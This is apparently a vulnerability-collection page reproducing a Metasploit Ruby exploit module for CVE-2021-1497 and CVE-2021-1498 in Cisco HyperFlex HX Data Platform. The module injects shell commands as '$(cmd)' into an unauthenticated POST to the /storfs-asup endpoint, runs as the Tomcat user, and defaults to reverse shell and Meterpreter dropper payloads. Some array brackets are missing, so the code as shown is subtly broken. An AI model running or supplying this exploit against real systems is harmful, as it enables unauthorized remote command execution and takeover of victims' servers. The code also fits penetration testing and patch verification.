CVE-2021-1497&CVE-2021-1498 Cisco HyperFlex HX Data Platform 命令执行漏洞

MSF

以 Tomcat 用户身份执行 shell 命令。

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco HyperFlex HX Data Platform Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command injection in Cisco
          HyperFlex HX Data Platform's /storfs-asup endpoint to execute shell
          commands as the Tomcat user.
        },
        'Author' => 
          'Nikita Abramov', # Discovery
          'Mikhail Klyuchnikov', # Discovery
          'wvu' # Analysis and exploit
        ,
        'References' => 
          'CVE', '2021-1497', # HyperFlex HX Data Platform Installer
          'CVE', '2021-1498', # HyperFlex HX Data Platform
          'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR',
          'URL', 'https://attackerkb.com/assessments/4f532147-b27b-4079-aed1-5cfdc402cf5c',
          'URL', 'https://twitter.com/ptswarm/status/1390300625129201664'
        ,
        'DisclosureDate' => '2021-05-05',
        'License' => MSF_LICENSE,
        'Platform' => 'unix', 'linux',
        'Arch' => ARCH_CMD, ARCH_X86, ARCH_X64,
        'Privileged' => false, # Privesc left as an exercise for the reader
        'Targets' => 
          
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ,
          
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86, ARCH_X64,
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          
        ,
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => CRASH_SAFE,
          'Reliability' => REPEATABLE_SESSION,
          'SideEffects' => IOC_IN_LOGS, ARTIFACTS_ON_DISK
        }
      )
    )

    register_options(
      OptString.new('TARGETURI', true, 'Base path', '/')
    )

    register_advanced_options(
      OptFloat.new('CmdExecTimeout', true, 'Command execution timeout', 3.5)
    )
  end

  def check
    res = send_request_cgi(
      'method' => %wGET POST.sample,
      'uri' => normalize_uri(target_uri.path, 'storfs-asup')
    )

    return CheckCode::Unknown unless res

    unless res.code == 200 &&
           res.body.include?('Action for the servlet need be specified.')
      return CheckCode::Safe
    end

    CheckCode::Vulnerable('Storfs ASUP servlet detected.')
  end

  def exploit
    print_status("Selected #{payload_instance.refname} (#{target.name})")

    case target'Type'
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    print_status("Executing command: #{cmd}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'storfs-asup'),
      'vars_post' => {
        'action' => Faker::Hacker.verb,
        %wtoken mode.sample => "$(#{cmd})"
      }
    }, datastore'CmdExecTimeout')

    unless res
      print_warning('Command execution timed out')
      return
    end

    unless res.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to execute command')
    end

    print_good('Successfully executed command')
  end

end